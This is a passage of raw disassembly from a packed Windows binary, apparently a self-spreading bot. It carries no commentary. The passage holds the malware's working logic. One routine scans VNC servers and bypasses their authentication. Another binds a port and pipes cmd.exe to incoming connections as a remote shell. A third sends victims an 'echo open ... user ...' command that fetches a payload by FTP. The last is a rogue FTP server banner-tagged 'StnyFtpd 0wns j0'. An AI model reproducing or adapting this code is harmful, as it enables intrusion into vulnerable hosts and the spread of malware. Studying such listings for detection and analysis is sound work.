loc_40E9E5:				; CODE XREF: .packed:0040E9DFj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40E9EC:				; CODE XREF: .packed:0040E9D1j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9ED	proc near		; CODE XREF: sub_40C87D+1D7p
					; DATA XREF: .packed:off_448214o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4E30C8	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4E3088	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4F553C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EA5F
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4F5530	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EA40
		push	esi
		jmp	short loc_40EA59
; ---------------------------------------------------------------------------

loc_40EA40:				; CODE XREF: sub_40E9ED+4Ej
		push	0
		push	1213h
		push	offset dword_449200
		push	esi
		call	dword_4F5540	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EA63

loc_40EA59:				; CODE XREF: sub_40E9ED+51j
		call	dword_4F5538	; closesocket

loc_40EA5F:				; CODE XREF: sub_40E9ED+3Cj
		xor	eax, eax
		jmp	short loc_40EAA1
; ---------------------------------------------------------------------------

loc_40EA63:				; CODE XREF: sub_40E9ED+6Aj
		call	dword_4F5538	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E8D6
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EA9E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		lea	eax, dword_448218[eax]
		inc	dword ptr [eax]

loc_40EA9E:				; CODE XREF: sub_40E9ED+9Ej
		xor	eax, eax
		inc	eax

loc_40EAA1:				; CODE XREF: sub_40E9ED+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E9ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EAA5	proc near		; CODE XREF: .packed:0040EB95p
					; .packed:0040EBF7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi
		jmp	short loc_40EAD0
; ---------------------------------------------------------------------------

loc_40EAAF:				; CODE XREF: sub_40EAA5+2Dj
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4E30A0	; recv
		test	eax, eax
		jz	short loc_40EADA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EADA
		sub	edi, eax
		add	esi, eax

loc_40EAD0:				; CODE XREF: sub_40EAA5+8j
		test	edi, edi
		jg	short loc_40EAAF
		xor	eax, eax
		inc	eax

loc_40EAD7:				; CODE XREF: sub_40EAA5+37j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40EADA:				; CODE XREF: sub_40EAA5+20j
					; sub_40EAA5+25j
		xor	eax, eax
		jmp	short loc_40EAD7
sub_40EAA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EADE	proc near		; CODE XREF: .packed:0040EBE1p
					; .packed:0040EC0Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EB1B
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EB15

loc_40EAEE:				; CODE XREF: sub_40EADE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4E30D8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EB1B
		test	eax, eax
		jz	short loc_40EB1B
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EAEE

loc_40EB15:				; CODE XREF: sub_40EADE+Ej
		xor	eax, eax
		inc	eax

loc_40EB18:				; CODE XREF: sub_40EADE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40EB1B:				; CODE XREF: sub_40EADE+8j
					; sub_40EADE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EB18
sub_40EADE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		mov	ax, word_44A48C
		push	ebx
		push	esi
		push	0
		push	1
		push	2
		pop	esi
		mov	[ebp-2], ax
		push	esi
		call	dword_4E3108	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EB4C
		push	eax
		jmp	short loc_40EB80
; ---------------------------------------------------------------------------

loc_40EB4C:				; CODE XREF: .packed:0040EB47j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4E30C8	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4E3088	; htons
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4E3030	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB8D
		push	ebx

loc_40EB80:				; CODE XREF: .packed:0040EB4Aj
		call	dword_4E3120	; closesocket
		xor	eax, eax
		jmp	loc_40EDAE
; ---------------------------------------------------------------------------

loc_40EB8D:				; CODE XREF: .packed:0040EB7Dj
		push	edi
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EAA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EDA2
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset dword_44A490
		push	eax
		call	sub_41FF30
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EDA2
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40EBDA
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EDA2

loc_40EBDA:				; CODE XREF: .packed:0040EBCEj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EADE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EDA2
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EAA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EDA2
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EADE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EDA2
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EAA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EDA2
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EDA2
		push	1
		push	offset dword_4E5DAC
		push	ebx
		call	sub_40EADE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EDA2
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EAA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EDA2
		mov	ecx, [ebp-1Ch]
		xor	edx, edx
		mov	dl, [ebp-1Bh]
		mov	eax, 0FFh
		shl	ecx, 8
		xor	dl, cl
		and	dx, ax
		xor	edx, ecx
		mov	ecx, [ebp-1Ah]
		mov	[ebp-1Ch], dx
		xor	edx, edx
		mov	dl, [ebp-19h]
		shl	ecx, 8
		xor	dl, cl
		and	dx, ax
		xor	edx, ecx
		mov	ecx, [ebp-14h]
		mov	[ebp-1Ah], dx
		xor	edx, edx
		mov	dl, [ebp-13h]
		shl	ecx, 8
		xor	dl, cl
		and	dx, ax
		xor	edx, ecx
		mov	ecx, [ebp-12h]
		mov	[ebp-14h], dx
		xor	edx, edx
		mov	dl, [ebp-11h]
		shl	ecx, 8
		xor	dl, cl
		and	dx, ax
		xor	edx, ecx
		mov	ecx, [ebp-10h]
		mov	[ebp-12h], dx
		xor	edx, edx
		mov	dl, [ebp-0Fh]
		shl	ecx, 8
		xor	dl, cl
		and	dx, ax
		xor	edx, ecx
		mov	ecx, [ebp-8]
		mov	[ebp-10h], dx
		mov	eax, ecx
		mov	edx, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_420C30
		push	dword ptr [ebp-8]
		mov	esi, eax
		push	esi
		push	ebx
		call	sub_40EDB2
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41EC30
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409C75
		add	esp, 40h
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415A3C
		mov	eax, [ebp+0B0h]
		xor	esi, esi
		shl	eax, 6
		pop	ecx
		lea	eax, dword_448218[eax]
		inc	dword ptr [eax]
		inc	esi
		jmp	short loc_40EDA4
; ---------------------------------------------------------------------------

loc_40EDA2:				; CODE XREF: .packed:0040EB9Fj
					; .packed:0040EBC4j ...
		xor	esi, esi

loc_40EDA4:				; CODE XREF: .packed:0040EDA0j
		push	ebx
		call	dword_4F5538	; closesocket
		mov	eax, esi
		pop	edi

loc_40EDAE:				; CODE XREF: .packed:0040EB88j
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40EDB2	proc near		; CODE XREF: .packed:0040ED3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		test	esi, esi
		jle	short loc_40EDCE
		push	esi
		push	edi
		push	[esp+10h+arg_0]
		call	sub_40EAA5
		add	esp, 0Ch

loc_40EDCE:				; CODE XREF: sub_40EDB2+Cj
		and	byte ptr [edi+esi], 0
		pop	edi
		pop	esi
		retn
sub_40EDB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EDD5	proc near		; DATA XREF: sub_40EE63+15Bo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40EDDE:				; CODE XREF: sub_40EDD5+25j
					; sub_40EDD5+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4E5DC0
		call	dword_4E30A0	; recv
		test	eax, eax
		jle	short loc_40EDDE
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4E5DBC
		call	dword_4F53B4	; WriteFile
		jmp	short loc_40EDDE
sub_40EDD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EE18	proc near		; DATA XREF: sub_40EE63+142o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40EE21:				; CODE XREF: sub_40EE18+2Fj
					; sub_40EE18+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4E5DB0
		call	dword_4F53BC	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40EE21
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	dword_4E5DC0
		call	dword_4E30D8	; send
		jmp	short loc_40EE21
sub_40EE18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EE63	proc near		; DATA XREF: sub_401C87+2D05o

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_11C]
		rep movsd
		xor	esi, esi
		xor	edi, edi
		inc	esi
		push	10h
		mov	[eax+98h], esi
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_38], 2
		push	[ebp+var_98]
		call	dword_4E3088	; htons
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_4E3108	; socket
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30B4	; bind
		push	5
		push	[ebp+arg_0]
		call	dword_4E30B0	; listen
		mov	ebx, dword_4F53D0
		mov	esi, dword_4F533C

loc_40EEE3:				; CODE XREF: sub_40EE63+1CBj
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4E311C	; accept
		mov	dword_4E5DC0, eax
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4E5DBC
		push	offset dword_4E5DB8
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4E5DB4
		push	offset dword_4E5DB0
		call	ebx	; CreatePipe
		push	44h
		lea	eax, [ebp+var_7C]
		push	edi
		push	eax
		call	sub_41E4B0
		mov	eax, dword_4E5DB8
		add	esp, 0Ch
		mov	[ebp+var_44], eax
		mov	eax, dword_4E5DB4
		mov	[ebp+var_40], eax
		push	edi
		push	1
		lea	eax, [ebp+var_3C]
		push	2
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	dword_4F53CC	; GetCurrentProcess
		push	eax
		push	dword_4E5DB4
		call	dword_4F53CC	; GetCurrentProcess
		push	eax
		call	dword_4F53C8	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aCmd_exe	; "cmd.exe"
		push	edi
		call	dword_4F5340	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40EE18
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_4F5350	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40EDD5
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_4F5350	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	[ebp+var_28]
		call	dword_4F5374	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	dword_4F5380	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	dword_4F5380	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	dword_4F53C4	; TerminateProcess
		push	dword_4E5DB8
		call	esi	; CloseHandle
		push	dword_4E5DBC
		call	esi	; CloseHandle
		push	dword_4E5DB0
		call	esi	; CloseHandle
		push	dword_4E5DB4
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_40EEE3
sub_40EE63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40F033	proc near		; DATA XREF: .packed:0043F010o
		jmp	$+5
sub_40F033	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F038	proc near
		push	0FFFEh
		push	400h
		call	sub_419313
		pop	ecx
		mov	dword_4E5DC4, eax
		pop	ecx
		retn
sub_40F038	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F04F	proc near		; DATA XREF: sub_40C049+352o

var_6C0		= byte ptr -6C0h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		push	10h
		mov	[eax+98h], esi
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_A4]
		call	dword_4E3088	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], ebx
		call	dword_4E3108	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40F0F6
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40F0D6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409C75
		add	esp, 14h

loc_40F0D6:				; CODE XREF: sub_40F04F+65j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		push	[ebp+var_AC]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_40F0F6:				; CODE XREF: sub_40F04F+60j
		mov	eax, [ebp+var_AC]
		push	10h
		imul	eax, 234h
		mov	dword_455FCC[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4E30B4	; bind
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40F1F1
		call	dword_4E301C	; WSAGetLastError
		cmp	eax, 2740h
		jz	short loc_40F176
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40F156
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409C75
		add	esp, 14h

loc_40F156:				; CODE XREF: sub_40F04F+E5j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		push	[ebp+var_AC]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread

loc_40F176:				; CODE XREF: sub_40F04F+DEj
		push	0FFFEh
		push	ebx
		call	sub_419313
		pop	ecx
		mov	dword_4E5DC4, eax
		pop	ecx
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4E30B4	; bind
		cmp	eax, esi
		jnz	short loc_40F1F1
		call	dword_4E301C	; WSAGetLastError
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40F1D1
		cmp	eax, 2740h
		jz	short loc_40F1D1
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409C75
		add	esp, 14h

loc_40F1D1:				; CODE XREF: sub_40F04F+159j
					; sub_40F04F+160j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		push	[ebp+var_AC]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread

loc_40F1F1:				; CODE XREF: sub_40F04F+CDj
					; sub_40F04F+14Cj
		push	5
		push	edi
		call	dword_4E30B0	; listen
		cmp	eax, esi
		jz	loc_40F2D6
		mov	[ebp+var_4], 10h
		mov	esi, offset byte_43F10C

loc_40F20E:				; CODE XREF: sub_40F04F+1D7j
					; sub_40F04F+227j ...
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		call	dword_4E311C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40F20E
		cmp	[ebp+var_1C], 0
		jnz	short loc_40F24F
		push	0
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409C75
		add	esp, 14h

loc_40F24F:				; CODE XREF: sub_40F04F+1DDj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		pop	ecx
		lea	eax, [ebp+var_2C0]
		push	0
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30A0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F20E
		push	esi
		push	esi
		push	dword_4E2DC0
		push	[ebp+var_B0]
		call	sub_40AEAD
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+var_6C0]
		push	ebx
		push	eax
		call	sub_41EC30
		add	esp, 1Ch
		lea	eax, [ebp+var_6C0]
		push	0
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6C0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30D8	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F20E
		inc	dword_4E5DC8
		jmp	loc_40F20E
; ---------------------------------------------------------------------------

loc_40F2D6:				; CODE XREF: sub_40F04F+1ADj
		push	edi
		call	dword_4E3120	; closesocket
		push	[ebp+var_AC]
		call	sub_40B9A7
		pop	ecx
		push	0
		call	dword_4F53A0	; ExitThread
sub_40F04F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F2F1	proc near		; DATA XREF: sub_40C049+22Bo

var_A70		= byte ptr -0A70h
var_8E0		= byte ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
var_2A0		= byte ptr -2A0h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_138		= byte ptr -138h
var_128		= byte ptr -128h
var_FC		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
var_B0		= byte ptr -0B0h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		inc	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_23C], esi
		mov	[ebp+var_43C], esi
		call	dword_4F550C	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	dword_4F553C	; socket
		mov	esi, dword_4F5510
		lea	ecx, [ebp+var_1C]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_2C]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_24]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4F5514	; ioctlsocket
		mov	ax, word ptr dword_4E2DC0
		and	[ebp+var_48], 0
		push	eax
		mov	[ebp+var_4C], 2
		call	dword_4E3088	; htons
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	edi
		call	dword_4F5518	; bind
		test	eax, eax
		jge	short loc_40F3B7
		mov	eax, ebx
		jmp	loc_40F902
; ---------------------------------------------------------------------------

loc_40F3B7:				; CODE XREF: sub_40F2F1+BDj
		push	0Ah
		push	edi
		call	dword_4F551C	; listen
		mov	[ebp+var_23C], ebx
		mov	ebx, dword_4F5540
		mov	[ebp+var_238], edi
		mov	[ebp+var_4], edi

loc_40F3D5:				; CODE XREF: sub_40F2F1+11Bj
					; sub_40F2F1+609j
		push	41h
		lea	esi, [ebp+var_23C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	edi, edi
		lea	eax, [ebp+var_43C]
		push	edi
		push	edi
		push	edi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_4F5544	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F8FF
		cmp	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jl	short loc_40F3D5

loc_40F40E:				; CODE XREF: sub_40F2F1+603j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41E4B0
		push	64h
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_41E4B0
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_43A942	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40F8ED
		cmp	edi, [ebp+var_8]
		jnz	short loc_40F4B7
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	dword_4F5520	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F8ED
		mov	edx, [ebp+var_23C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40F489

loc_40F47B:				; CODE XREF: sub_40F2F1+196j
		cmp	[ebp+ecx*4+var_238], eax
		jz	short loc_40F489
		inc	ecx
		cmp	ecx, edx
		jb	short loc_40F47B

loc_40F489:				; CODE XREF: sub_40F2F1+188j
					; sub_40F2F1+191j
		cmp	ecx, edx
		jnz	short loc_40F49F
		cmp	edx, 40h
		jnb	short loc_40F49F
		mov	[ebp+ecx*4+var_238], eax
		inc	[ebp+var_23C]

loc_40F49F:				; CODE XREF: sub_40F2F1+19Aj
					; sub_40F2F1+19Fj
		cmp	eax, [ebp+var_4]
		jle	short loc_40F4A7
		mov	[ebp+var_4], eax

loc_40F4A7:				; CODE XREF: sub_40F2F1+1B1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40F8ED
; ---------------------------------------------------------------------------

loc_40F4B7:				; CODE XREF: sub_40F2F1+158j
		push	esi
		lea	eax, [ebp+var_2A0]
		push	64h
		push	eax
		push	edi
		call	dword_4F5534	; recv
		test	eax, eax
		jg	short loc_40F514
		mov	ecx, [ebp+var_23C]
		xor	eax, eax
		cmp	ecx, esi
		jbe	short loc_40F508

loc_40F4D8:				; CODE XREF: sub_40F2F1+1F3j
		cmp	[ebp+eax*4+var_238], edi
		jz	short loc_40F4FD
		inc	eax
		cmp	eax, ecx
		jb	short loc_40F4D8
		jmp	short loc_40F508
; ---------------------------------------------------------------------------

loc_40F4E8:				; CODE XREF: sub_40F2F1+20Fj
		mov	ecx, [ebp+eax*4+var_234]
		mov	[ebp+eax*4+var_238], ecx
		mov	ecx, [ebp+var_23C]
		inc	eax

loc_40F4FD:				; CODE XREF: sub_40F2F1+1EEj
		dec	ecx
